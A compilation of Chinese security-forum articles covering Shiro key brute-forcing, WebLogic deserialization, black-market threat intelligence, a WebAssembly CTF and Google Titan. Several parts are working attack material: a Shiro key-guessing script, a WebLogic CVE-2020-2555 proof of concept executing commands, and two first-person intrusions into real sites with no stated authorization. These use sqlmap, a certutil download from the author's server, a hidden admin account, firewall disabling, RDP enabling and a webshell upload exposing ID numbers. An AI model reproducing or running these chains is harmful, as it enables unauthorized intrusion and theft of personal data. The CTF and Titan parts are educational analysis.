for key in keys:
print("[-] start key: {0}".format(key))
if ciphertype == 'CBC':
payload = CBCCipher(key,base64.b64decode(checkdata))
if ciphertype == 'GCM':
payload = GCMCipher(key,base64.b64decode(checkdata))
payload = payload.decode()
#print(payload)
r = requests.get(target, cookies={'rememberMe': payload}, timeout=10, proxies=PROXY,
verify=False, headers=myheader,allow_redirects=False) # 发送验证请求
rsp = len(str(r.headers))
if rsp1 != rsp and r.status_code != 400:
#在这里和肯定不正确的返回包header的lenth做比较，如果有差异，则是正确的的key
print("!! Get key: {0}".format(key))
exit()
当然这样也有可能存在误报，大家可以酌情修改，用起来是这样
2.回显:
回显这个点也是有很多师傅发了很多文章，从一开始linux下的半回显到kingkk师傅的tomcat通用半回显再到c0ny1师傅的半自动化挖掘再到fnmsd师傅的通用回显，中间也穿插着其他师傅的文章这里就不列出来了，当然最终我用的也是fnmsd师傅的代码，一路跟了这些文章过来不得不感慨师傅们真是tql以及这种不断提出新思路不断完善的过程实在令本菜鸡拍断大腿。
fnmsd师傅用的其实也是c0ny1师傅的思路，就是在当前线程对象里搜索request对象，判断请求头中是否存在指定请求头，再从response对象里获取输出。
fnmsd师傅也对代码里存在的几个小问题做了好几个版本的修改，最终我在实际运用的时候依然存在一点点问题就是师傅设置的深度优先搜索是52层，结果测试时还是遇到了52层没有搜到的情况，结果随意改成100层就找到了....
以及在用ysoserial里面有的cc链比较长生成出来的payload差不多逼近了tomact默认对header的限制长度，有点危险。nginx就不说了直接凉，如果遇到nginx需要换个思路，比如可以尝试先分段注入，最后再执行。
代码就不贴了，列一下师傅的文章，他有给出代码
[fnmsd通用回显](https://blog.csdn.net/fnmsd/article/details/106709736)
[fnmsd修复通用回显](https://blog.csdn.net/fnmsd/article/details/106890242)
先跑一下测试能不能回显，效果如图
再把输出的payload粘贴到burp中执行命令
3.内存webshell
其实严格来说在回显里提到的kingkk师傅做的是内存webshell，一开始是有点混杂的，但其实跟一路会发现内存和webshell到最后利用的点是不一样的，内存webshell的思路是注册filter（当然还有观星的师傅写的通杀spring的，思路是注册controller，链接在此
[基于内存 Webshell
的无文件攻击技术研究](https://www.anquanke.com/post/id/198886))，其实在有了fnmsd师傅思路比较好的回显之后，内存webshell可能需求就不太大了，但有时候红队可能需要一个内存shell来维持权限(?)或者需要配合reGeorg代理进内网，所以这个东西还是有必要的
一开始看到threedr3am师傅的[基于tomcat的内存 Webshell
无文件攻击技术](https://xz.aliyun.com/t/7388)文章，解决了shiro下的利用，也能做到勉强通杀tomcat（除了tomcat6，原因可看评论区，这个我没测试），但是遇到sihro有一个最大的问题就是长度，没错，这个长度超大发了。菜鸡如我也上蹿下跳试图通过修改ysoserial和payload的代码缩短payload，事实证明我确实不行，长亭师傅的解决办法看了一眼感觉不是特别好用，再加上后来又继续去跟了回显，就没管这个了。后来又看到了涙笑师傅的思路，解决了长度的问题
涙笑师傅的文章：
[Java代码执行漏洞中类动态加载的应用](https://mp.weixin.qq.com/s/5iYyRGnlOEEIJmW1DqAeXw)
其实原理就是在cookie中反序列执行的代码只是插入了一个我们自定义的ClassLoader，这块长度很小。在这个ClassLoader中反射调用defineClass方法，这个方法的byte参数从POST参数中取出来。也就是把我们注册filter的这段payload写在static代码块里，编译后的byte再通过POST传递，自定义ClassLoader加载时会自动执行static代码块的代码。
攻击的时候先生成payload，上面是最终要执行的类，下面是rememberMe中要执行的插入classloader的payload
在burp里是这样：
要注意classData一定要url编码，我刚开始测试没注意这点一直不成功。
涙笑师傅的文中给出了配合reGerog的payload，这里就不粘贴了。
4.内存webshell适配：
后面还有一个问题就是内存webshell怎么适配冰蝎，因为冰蝎用的pageContext类在springboot里面是没有的，所以解决方案一个是反编译后修改冰蝎的代码重新打包，这一块虽然能做出来，但是不通用，而且比较麻烦，有师傅在先知发过文，可以参考[冰蝎改造之适配基于tomcat
Filter的无文件webshell](https://xz.aliyun.com/t/7899)
另外一个思路就是不改冰蝎的服务端，改内存webshell，也看到有师傅发的文，思路是沿用涙笑师傅通过自定义classloader，接着先注入一个pageContext类，再注入内存webshell，链接在此
[冰蝎改造之不改动客户端=>内存马，有兴趣的师傅可以去研究一下。](https://mp.weixin.qq.com/s/r4cU84fASjflHrp-pE-ybg)
然而不知道是我学艺不精还是师傅的文章写的有点 ~~模糊~~
（划掉），我总感觉在类加载机制下，这样做好像有点不对劲的地方，而我也确实没搞出来，一直报错，希望这位师傅如果看到这篇文章可以联系一下弟弟，ddddhm，我找了半天也不知道怎么联系上您。
##### 0x04：后记
上文涉及到的所有脚本和我修改后的ysoserial包将在[github](https://github.com/Echox1/ShiroExploit)中放出
才疏学浅，也是第一次做java安全的研（zong）究（jie）和分享，其他的工作也很多导致shiro研究的断断续续，文章也写得断断续续，时间跨度拉的很大，长达好几个月，后面写的时候很多的东西都快忘记了，因此文章中可能存在错误和疏漏，希望师傅们不吝指出。
最后感谢上文中提到的每一位师傅和部分没有提到的师傅，感谢你们无私的分享，才会让菜鸡如我学习到这么多知识。 | 社区文章 |
### 前言
备考的时候偶然点了进了本校内网的某个站点 , 停下了复习(直接拔剑)
测试到注入
<http://url/newdetail.aspx?id=11999>' or 1=1 --
直接Sqlmap一把过 , 连waf都没得(狗头)
随便看看
python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch --dbs
python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch -users
**DBMS**
sqlserver 2005
**whoami**
在windows中`nt authority system` 是内置的系统管理账户
查看下目录`chdir`
`Dir c:\`
**OS版本**
Microsoft(R) Windows(R) Server 2003, Enterprise Edition
**ipconfig**
服务器端存在certutil等于是决定测试一下命令
vps
python -m SimpleHTTPServer 80
打一下
ping wt070h.dnslog.cn
certutil.exe -urlcache -split -f http://funny_ip/amazing1x
发现回显
奈何网站路径是中文的 , sqlmap写木马的话会乱码 , 找了找解决办法无果
看看环境变量
**Nmap看看端口**
因为尝试远程连接的时候出了一些问题，起初不知道是什么原因所以打算看看
**尝试远程连接3389**
新建用户
#新建用户
net user amazingadmin123 amazing.123456 /add
#赋予权限
net localgroup Administrators amazingadmin123 /add
#激活用户
net user amazingadmin123 /active:yes
#关闭防火墙
netsh firewall set opmode mode=disable
#开启默认设置 netsh firewall reset
通过注册表开启3389端口
echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "ortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
regedit /s 3389.reg
相关记录
相关记录
这个过程连续尝试了两三次都没有成功，也没找到原因，服务还关了，只能先考试等管理员开机了
考完试第三天网站上线了，再试试新建用户……
原来是安全策略的问题，不能使用简单地密码，新建用户的时候用了个复杂的密码就行了
**远程连接✔️**
配置加载中…… | 社区文章 |
# 目录
* 什么是威胁情报
* src会收取什么样的漏洞情报
* 如何挖掘漏洞情报
* 几个src提交情报的感受
# 什么是威胁情报
从各大乙方的产品介绍和功能上看，对威胁情报的定义大概就是ip+域名的黑名单和rat马子的样本balabala。这部分跟src认定有价值的威胁情报相去甚远，在这里不做讨论。
本文单指狭义的src认定有价值的会给出赏金的漏洞情报。包括但不限于以下几种黑灰产利用方式：
* 订单信息泄漏（赏金重捞区，也是白帽子被坑钱最多的地方）
* 刷单（如果不是刷单诈骗，那真实的刷单团伙如何挣钱和交易的呢）
* 视频刷量
* 账号实名制解除、更换、代实名认证
* 企业资质认证等各种特权账号认证
* ...
值得注意的是各个src对威胁情报的处理流程不同，有些大型公司往往配置自己的情报处理团队（如情报部门）或交给对应业务的安全团队（如风控部门），各src审核往往只针对业务方和情报部门的反馈根据影响范围定级，不直接参与情报审核，所以情报类漏洞的处理流程和时间与常规漏洞提交相比往往会长数倍。但如果最终确认，如订单泄漏类往往轻易达到高危严重级别
# SRC会收取怎样的漏洞情报
情报和漏洞相同，如漏洞根据各项资产的权重不同会得到不一样的最终评分一样，情报根据厂商业务不同的侧重点，也会收到不同程度的重视。如
* 某些依赖电商营收的业务方，往往对订单泄漏问题极为重视，内部也存在专业的风控情报团队第一时间收集、处理外部威胁情报
* 某些厂商作为“游戏”IM大厂，对游戏侧外挂、账号、私服、装备等威胁情报往往更为重视（也较多发生）
简单来说一句话
**资损问题 >法律问题>舆论压力**
除此之外还要思考业务部门能否处理问题和我们能否提出帮业务方解决问题，有一个很坦诚的逻辑：情报方/业务方支付赏金，代表认可你的情报对我方有威胁，那么我走了经费，收了情报，处理不了怎么办，此处点名某app对社交白账号批量注册买卖无能为力的行为.......，而和漏洞的“该问题风险较小”相对应的是“这个问题我们暂时可接受”，当然他们不会直接回应这句话，但你提交一些情报被忽略要可以想到，哭唧唧.......
# 如何挖掘漏洞情报
## 订单泄漏类情报挖掘
### tg中文搜索引擎
tg上目前很多机器人搭建的搜索引擎，，根据关键字如母婴、护肤、医美等关键字在搜索引擎搜索，可以发现各类卖买数据的交流群，群中鱼龙混杂，这里也是数据买卖新手最容易被骗的地方，因为之前几波严打，现在很少会有愿意被白嫖给几条数据测试这样的老哥了。这里有几个比较稳的判断方法
* 群主牛批（只要群里还能自由聊天，群主一般会踏踏实实卖，除非要跑路了，反之进去人很多但进去就被全员禁言，群主一个人说话的...不行跑吧哥哥）
* 规模较大的，网站有子域名多套cms的>有网站的>有机器人的和客服的>单干的
* 数据源单一的，如只做某司某业务的
### potato、蝙蝠、密聊
除了tg之外最容易被引流的几款加密聊天app，而且都是国人做的，很多老卖家非常喜欢用，这里的思路和tg其实大同小异。给的建议就是多加群和老哥们交流，这里的群要比tg值钱一点，其中某个匿名im前几天还和某色情视频拍摄团伙一起上了热搜
### 料子来源
最后这里可以讲下所谓的一号卖家的收料来源，帮助大佬们在和卖家聊天过程中判断自己卖到的是不是一手料
* 店主雇佣的客服内鬼、或大卖家直接雇内鬼入职客服偷完数据就跑
* 木马钓鱼，普通人还是会中招pdf.exe的
* 快递侧员工数据泄漏
* 代运营公司插件漏洞或内鬼或干脆公司卖数据
* 油猴脚本带后门
## 刷单刷量刷水果类情报挖掘
### 自动化刷量刷单
这类情报的挖掘相对来说较为简单，因为法不责众，且卖量老板自行搭建机房在用电方面存在现实风险，所以通常会通过tg相关群内发送建群信息请各大机房主进群，在群内发布autojs等自动化脚本，甚至贴心的发布使用教程对接他们的卖量系统（95社区等等），或在群内通知建立小群，在小群内发布刷单物品信息和返现通道（TT等），并在几分钟内解散群聊
，这时候只要建立运营一个可信身份的机房主账号，就可以轻易的被邀请到各个内部群中
### 刷水果
这里专指利用各类电商平台上的小活动小游戏薅羊毛，如xx农场，xx果园、养小鸡等等，这类脚本可在github上搜索关键词 **青龙**
去找到项目对应脚本，并通过fork、star、follow的人的其他项目批量遍历通过关键字筛选扩充新项目代码，毕竟总有程序员菩萨在github发慈悲
## 游戏类情报挖掘
游戏是一块很大的肉，所以整个外挂售卖产业链极长，层层加码分割吃肉，且一些工作室老板会财大气粗的订制本工作室外挂，所以整体环境比较复杂，后面会另开一篇文章给师傅们介绍。
这里简单说一下思路就是紧盯游戏开服和即将开服的信息，黄金半个月，极大量的团队会选择在这时候出手，吃完最肥的肉就跑，而且企业和业务方也会在这时候非常重视和渴求威胁情报且对新出现的攻击缺乏防范能力，所以这段时间对白帽子提交威胁情报的收获最大，反应和确定时间最短。
## 小说类情报挖掘
目前国内盗版小说环境鱼龙混杂且极为成熟，头部的经常可以搜到的盗版小说app其实根本不能直接通过自己的技术手段获取盗版小说资源，而是通过直接对接盗版小说源+套壳app+买签名上架app商城的方式快速的低成本运作，被app商城封禁之后迅速套壳继续上线，整套流程全部自动化，封禁下架甚至几乎不能起到伤筋动骨的伤害，而它们的主要营收则来自内嵌的各大广告商的sdk，通过广告点击率、观看时长、转化率收取佣金。这类app的盗版小说来源则来自tg群（如某开源小说群组），甚至在githun、gitee及各科技论坛发布盗版小说源集合，会有专人专群进行分享
# 如何在有情报部门的src手上吃肉
如何有耐心贴靠黑灰产人员，安全是个圈，黑灰产也是个圈，且黑灰产的老哥往往更希望得到友情等社交方面的认可。只要确定对方数据、外挂没有问题，那就多和他沟通交流，让他带你进入圈子，不要买完测完数据就跑，买卖不成仁义在。这样才能触及到企业部门大量情报收集下触及不到的深层地区。当你和他可以互道晚安互的时候，相信他离法律的制裁就不会远了
# 几个src提交情报的感受
* 阿里这种有自己情报处理团队且举办过专项活动的src就不多说了，有钱舒适，讲下其他公司的体验
* 某d的情报是风控团队在处理，所以反应速度极其的慢。。。当然漏洞好像也不快哈哈哈
* 腾讯有自己的反外挂团队除了技术也在做情报，所以对外挂侧情报质量要求较高，但是给分也还可（毕竟在标准里写明了有效外挂情报=高危）
* 其他的src大佬们可以尝试一下，报告写的尽量详细一些，尽量可以落地到人、社工信息、真实照片，不然可能会出现他们可能不知道怎么处理的情况 | 社区文章 |
## Weblogic 2020-2555&2883分析
> 这两个洞是相近的，所以放在一起讲
* 共通的核心触发点
1. ChainedExtractor
public class ChainedExtractor extends AbstractCompositeExtractor {
......
public ChainedExtractor(ValueExtractor[] aExtractor) {
super(aExtractor);
}
......
public Object extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();
int i = 0;
for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
oTarget = aExtractor[i].extract(oTarget);
}
return oTarget;
}
......
}
可以清楚的看到ChainedExtractor，在进行extract的时候，会遍历自己的属性`m_aExtractor`(继承与父类)，将数组中的每一项进行extract，之后再结果作为下一个extract的参数
2. ReflectionExtractor
public class ReflectionExtractor extends AbstractExtractor implements ValueExtractor, ExternalizableLite, PortableObject {
protected String m_sMethod;
protected Object[] m_aoParam;
private transient Method m_methodPrev;
public ReflectionExtractor() {
}
public ReflectionExtractor(String sMethod) {
this(sMethod, (Object[])null, 0);
}
public ReflectionExtractor(String sMethod, Object[] aoParam) {
this(sMethod, aoParam, 0);
}
......
public Object extract(Object oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();
try {
Method method = this.m_methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
}
return method.invoke(oTarget, this.m_aoParam);
} catch (NullPointerException var4) {
throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {
throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
}
}
}
这里的extractor有我们想要的东西`method.invoke(oTarget,
this.m_aoParam);`，全部可控，相当于我们可以直接调用任何的方法
此时，如果是学习过Java反序列化利用链的你，大脑肯定飘过了，我们最熟悉的CC链，这里直接上截图，ysoserial的payload截图
我们直接来进行类似的构造
public class Test2 {
public static void main(String[] args) throws Exception {
ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor second = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor third = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c",
"open /System/Applications/Calculator.app"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
first,
second,
third,
};
ChainedExtractor puzzle = new ChainedExtractor(valueExtractors);
puzzle.extract(Runtime.class);
}
}
运行后，即可发现弹出了计算机(third中请按照自己的环境环境进行修改cmd中的具体参数)。
可以说是完全一致，唯一的区别就是，`transform`和`extract`，那么我们只需要找到一个触发点，类似LazyMap，最后漏洞作者，发现了一个符合的类LimitFilter
public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}
sb.append("])");
return sb.toString();
}
`toString`在中间两次调用了extract，且参数都可控，然后最后一步，还是抄袭cc链，我们的老朋友`BadAttributeValueExpException`
反序列化时直接就触发了toString,最后payload
public class Poc1 {
public static void main(String[] args) throws Exception {
ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[] {"getRuntime", new Class[0]},1);
ReflectionExtractor second = new ReflectionExtractor("invoke",new Object[]{null,null});
ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{"open /System/Applications/Calculator.app"},1);
// ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{new String[]{"/bin/bash","- c","echo " +
// "\"123\" > /tmp/123.txt"}});
Object input = Runtime.class;
ChainedExtractor b = new ChainedExtractor(new ReflectionExtractor[]{
first,second,third,
});
LimitFilter c = new LimitFilter();
c.setComparator(b);
c.setTopAnchor(input);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val,c);
File file = new File("./payload.ser");
FileOutputStream fo = new FileOutputStream(file);
ObjectOutputStream os = new ObjectOutputStream(fo);
os.writeObject(val);
FileInputStream fi = new FileInputStream("./payload.ser");
ObjectInput oi = new ObjectInputStream(fi);
oi.readObject();
}
}
最后的几行是模拟传输后，反序列化的过程
#### 弥补遗憾
`BadAttributeValueExpException`这个利用链并不能通杀，原因在于我们在jdk7中，是不存在toString()，这种操作的，因此，我们只能寻求别的办法，由于太像cc链了，所以我们去看看ysoserial中有什么骚操作，我们可以在CC2这条链中找到答案，这个链可以通杀主流的7，8版本
如果存在有compare可以触发extract，那么就可以替换那一环就完成整个链
这里就可以完成，我们就可以快乐照抄了
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
跑起来在这里卡住了，进行debug，我们可以发现，在进行add的时候会进入
在这里进行一轮compare，但由于我们在初始化的时候已经将调用链放入了其comparator参数中，所以会导致我们在这里就触发一轮链式攻击，但是queue必须要进行进行，初始化占位
* 解决方案
我们先将一个正常的comparator初始化进入（ysoserial中前半部分基本照搬就行），完成add操作后再用反射，取出
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);
Field f = queue.getClass().getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArray = (Object[]) f.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = "1";
至此我们完成了jdk7，8的通用poc，与此同时，我们也完成了对2883的分析，原因在与2883只是单纯修复我们的第一条链的第二环节，不过于此同时这个第二环可以用ConcurrentSkipListMap$SubMap和Mutations替代，这个有些复杂，大家可以自己去尝试
## 总结
1. 要细心总结，玩了很多年的洞，说不定会换种形式，再归来
### 参考链接
<https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server>
<https://www.4hou.com/posts/Km1z> | 社区文章 |
1、发现与利用公众号接口的安全漏洞
某120公众号提供了一处考核平台，通过浏览器处打开该网站。
打开可以看到一处密码登录口，试了一下常用的手机号和密码，没有登录成功。
这个时候扫个目录吧。扫到了一处管理员页面：/index.php?c=home&action=admin_login
管理员弱口令
使用弱口令admin123，登录成功了,看一看，没有可以上传的点
前台弱口令
在burp里面找到一处未授权接口index.php?c=xx120&action=test_admin
点开看一看只是一些用户手机号和成绩，这个时候想到前台就是通过手机号登录的，找几个用户手机号试一下。
访问前台登录口：/index.php?c=account&action=login
136XXXXXXXX/123456
成功登录！
好像并没有什么可以利用的地方。。。。
sql注入
使用burpsuite抓包看看有没有参数存在sql注入。（我个人喜欢用一个小插件xia SQL，这个找sql注入还是很方便的），果不其然，找到一个：
index.php?c=hd120&action=edit_test&id=7+0
index.php?c=hd120&action=edit_test&id=7-0
这么明显，那么利用sqlmap跑一下吧
有注入，也是dba权限，--os-shell没法爆破，找找路径吧。。。。
2、发现旁站：
通过ICP/IP备案找找这个网站有没有什么其他信息
这个域名的备案号结尾是2，可那个网站是备案号是1，直接搜索备案号看看
找到了另一个域名，访问看一看什么样的
也是一个类似于小程序的界面，盲猜管理员路径一摸一样
/index.php?c=home&action=admin_login
果然，使用弱口令再登录一次
文件上传漏洞与getshell攻击
想起前台有个发布的功能点，返回去看看。
显示要登录得先注册，那我先注册一个账号，还好不限制用户手机号
ok了，我来登录一下。
登录成功，看看有些什么功能点，发布处没有上传的地方，但是有上传头像的地方。
这个地方就可以利用上传木马文件进行getshell了
使用burp抓包，没有任何的防护，直接一句话木马，返回的路径名存在cookie里面
利用蚁剑连接：
成功连接
原来120的网站也在同一个根目录下
除了admin123还有另外的管理员密码
这比刚刚就多了一些栏目，还泄漏了身份证号等敏感信息。。。
3、总结
在本次尝试中，我们使用公众号接口得到了一个后台登录口，并发现了弱口令。通过利用这个弱口令，我们成功进入后台。在后台中，我们发现了一处SQL注入漏洞，虽然没有通过sql注入拿到shell
，但是访问到了旁站，并发现了存在文件上传漏洞的问题。通过进一步利用这个漏洞，我们成功得到了getshell。 | 社区文章 |
# 从一道ctf题目浅析WebAssembly逆向
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这次长安杯出现了两道wasm的题目，一道常规wasm逆向，另一道是unity+wasm，大佬们都去打别的比赛了，让我拿到了第一道wasm的二血，最终成绩线上第二。
## 静态分析
### 1 jeb
jeb的WebAssembly Decompiler可以直接反编译wasm，反编译出来的代码也较为清晰
但仍存在很多问题，很多变量还需要猜一下。
在strings里面发现了rc4的密钥，盲猜是个rc4，进入__f11函数，发现里面大概是rc4的加密，要比较的密文是gvar_440，使用rc4解密解不出来，猜测是进行了魔改，但是这个代码太难看了，看了半天并没有发现什么更改的地方(太菜了)，只能换种方法动调看看
### 2 wabt
使用wabt项目可以将wasm文件处理成为c文件，但可读性较差，项目地址<https://github.com/WebAssembly/wabt>
用法：
在bin文件夹下使用命令
`./wasm2wat ./wasm1.wasm -o wasm1.wat`
可以得到wasm汇编格式的wat文件，也就是jeb中看到的那种汇编格式
使用命令
`./wasm2c ./wasm1.wasm -o wasm1.wat`
可以得到C语言的.c和.h文件
然后再用命令
`gcc -c webassembly.c -o webassembly.o`
将文件编译成为ida可以分析的.o文件
### 动态调试
首先使用python开启端口
`python -m http.server 8888`
然后在浏览器地址栏输入<http://127.0.0.1:8888/wasm1.html> 就可以调试了
f12打开开发人员工具，在源里面找到对应的wasm文件，在func11处下断点
注意旁边的作用域，这里面存储的是变量的值
而其中几个524开头的数指向的是存储的地址，可以在模块->memories->$env.memmories->buffer里面查看，但是只能一个个找
比如说在5246224这个位置存储的就是rc4的key
既然我们知道这大概是个rc4的加密体系，那么只要知道每次异或得数据就可以解密密文
跟进到f10函数，在f10中查找xor，发现关键点
可以肯定这里就是进行异或处理的位置
对变量进行观察，发现var66就是我们的输入，那自然var59就是每次异或的数据，在这里下个断点，将每次var59的数据记录下来
最终解密脚本
data=[0x8f,0xef,ord('|'),0xe4,0x9,0x9d,ord(';'),0x7f,0x91,0x19,ord('F'),0x9e,0x12,0x0c,0x0e,0xdb,ord('9'),0xad,ord('G'),0xa9,ord('?'),0x1c]
flag=''
xor_data=[233,131,29,131,114,212,85,11,244,107,35,173,102,61,96,188,102,218,6,218,114,97]
for i in range(len(xor_data)):
flag+=chr(xor_data[i]^data[i])
print(flag)
## 总结
对于wasm的逆向和常规逆向的流程相差不大，首先静态观察，其次动态调试，静态观察因为jeb的存在可以比较方便的查看代码，但距离可读性较好仍有一定的差距，动态分析可以直接跟进函数查看wasm风格的汇编代码，只要了解常规指令的含义和数据存储地址就可以很快的整理清楚程序的逻辑 | 社区文章 |
# Google OpenTitan，硬件安全的泰坦之箭？
##### 译文声明
本文是翻译文章，文章原作者 tencent，文章来源：security.tencent.com
原文地址：<https://security.tencent.com/index.php/blog/msg/138>
译文仅供参考，具体内容表达以及含义原文为准。
## 导语：
从Windows
98的CIH病毒，到2011年的BMW木马，再到2018年的APT-28攻击，底层安全威胁此起彼伏。企业信息基础设施是否值得信任，已成为服务提供商需要回应的关键问题。今年11月Google
OpenTitan项目正式发布，平台可信启动问题成为业内关注焦点。本文将解读Titan安全芯片的基本原理，并针对现阶段服务器硬件安全防护体系的建设思路和大家做一下简单探讨。
## 1.不断升级的攻防博弈
对于服务器平台的底层攻击，大多集中在对固件（Firmware）内容的非法修改上。早期的Legacy
BIOS木马，以破坏机器的可用性为主要目标，如CIH病毒，可以直接清空BIOS导致无法正常开机。其他的固件木马，通过感染个人电脑的主/卷引导目录（MBR/VBR），实现持久化驻留的目的，使终端用户叫苦不迭。
随着技术演变，Legacy BIOS逐步被UEFI（服务器启动的新规范）替代，硬件木马也被更多地应用到高级入侵与渗透之中（如APT-28
LoJax木马）。与之前被黑产利用，存在明显异常行为的特征不同，固件入侵威胁变得更隐蔽、更顽固，例如针对特定企业的供应链攻击、针对特定机器的恶意女仆攻击（基于物理接触，如通过U盘植入木马）、利用启动管理命令实现启动路径修改攻击（如efibootmgr指令）等——这些恶意向量不再局限于OS层的渗透范畴，因此可以有效地绕过常规监控策略。
硬件安全风险带来了信任的危机，尤其是大型企业，影响更加广泛。在企业内部，数据中心基础设施是否安全可靠？在企业外部，是否可以让云平台得到所服务用户的信任？
妥善解决上述问题的一种策略是，充分利用现有的安全防护技术，如IDS、IPS、WAF，布下天罗地网——可是这些方式即便发现异常，也很难准确地定位风险来源，无法彻底排除隐患；另一种方式是通过可信执行环境（TEE），如Intel
SGX技术，以内存加密的方式构建应用程序独享的可信执行区域，将一部分机密的数据和代码隔离起来做机密计算。但这种方式实际上并没有缓解机器被攻陷的风险，偏安一隅的思路能够暂时保障数据安全，但无法保护平台本身不被入侵。
## 2.防御方法与业内标杆
那保障平台安全的有效方案是什么样的呢？一种可行策略是，构建无法被篡改的信任根（RoT，Root of
Trust），对于平台启动过程中所需执行的固件对象，在其执行前，依次进行合法性验证与信任链条的扩展。在所有固件对象完成校验后，平台执行操作系统的启动，这样一来，系统最终进入可被信任的Runtime状态。
这个方法听上去简单直接，但操作起来又是另一番情景——图1给出了NIST标准下服务器架构所包含的组成对象，在操作系统层之下，存在十几种硬件固件对象，如：
1. UEFI BIOS：服务器系统启动固件，其固件镜像存储于SPI总线下的一块闪存片（Boot FW Flash）中；
2. BMC：带外管理系统，有单独固件，提供不依赖操作系统的服务器管理能力；
3. Boot Loader: 操作系统OS引导程序，其主要功能是用来载入OS内核；
4. NIC：外设网卡及其固件；
5. GPU：显卡及其固件；
图1 服务器系统组成元素
理想情况当然是对涉及到的全体固件对象进行合法性校验，但这不现实，臃肿的开机检测过程会极大地影响机器启动的效率，复杂的厂商供应链组成也让这一目标的达成变得困难；同时，鉴于入侵某些固件的难度很高，攻击的概率很小，这样的防护方式也会显得多此一举——在考虑攻击者的利用难度、风险水平等多个维度后，底层安全防护最主要的固件对象，一般聚焦在BIOS，BMC和Boot
Loader上。
不管是现有的硬件防护方案（如TPM 2.0技术, 后文会进一步说明），还是业内普遍认可的
“下一代硬件安全防护方案”，基本上是围绕上述三大固件对象进行安全方案的设计。主流的下一代硬件安全防护方案包括Google Titan[1]、Intel
PFR[2]、Microsoft Cerberus[3]和我国沈昌祥院士提出的TPCM[4]。区别于现有TPM
2.0方案所提供的被动式校验固件的能力，这些新的设计都满足主动校验服务器关键固件的能力，但由于涉及到主板设计和硬件结构的定制修改，除了Google
Titan方案在谷歌云内部被使用之外，其余方案还未能广泛应用到实际案例中。作为下一代硬件防护方案的标杆，下面将为大家解读Google
Titan安全芯片的基本原理。
## 3.Google Titan概述
Titan芯片在Google Cloud Next
2017大会上首次被提出，它主要被用来保障谷歌云基础设施的启动安全。在功能层面，Titan具有以下三大核心特征：
（1）自主可控的物理可信根：
与传统的TPM 2.0外设芯片不同的是，Titan芯片中包含了Google的物理可信根BOOT
ROM，可以作为平台启动信任的锚点，这样一来，谷歌服务器启动的信任起点便掌握在了自己的手中。
由于引入了BOOT ROM，Titan也包含了一个自我修复功能，可以保证在出现Titan芯片漏洞时，对BOOT ROM进行升级，重新建立信任关系。
如图2所示，Titan在硬件结构上包括了一块32位的RISC-V处理器，具有密码和密钥管理功能的外设部分（与TPM
2.0的设计几乎一致），以及蓝色部分中，作为硬件可信根而存在的BOOT ROM。
图2 Titan组成元素一览
（2）首指令完整性校验：
通过Titan芯片，可以实现对于BIOS早期运行代码的合法性验证，通过校验后再执行相关的代码。
图3 Titan芯片主板连接方式示意图
实现上述首指令完整性校验的关键是Titan芯片在主板上的特殊连接方式，如图3所示，Titan芯片串接了SPI总线，如守门员一样介于主板南桥（PCH）或带外管理系统（BMC）与BIOS固件的闪存芯片之间。这样一来，Titan芯片驱动下的服务器启动过程可描述为：
1.当CPU上电开机/重启时，开机/重启信号由PCH或BMC传递至Boot FW Flash途中，由Titan芯片接收并拦截。
2.Titan芯片执行其只读内存（BOOT
ROM）下的代码，并启动一个自检程序，检测Titan芯片自身没有被篡改过。如自检通过，Titan芯片中的代码将正常运行。
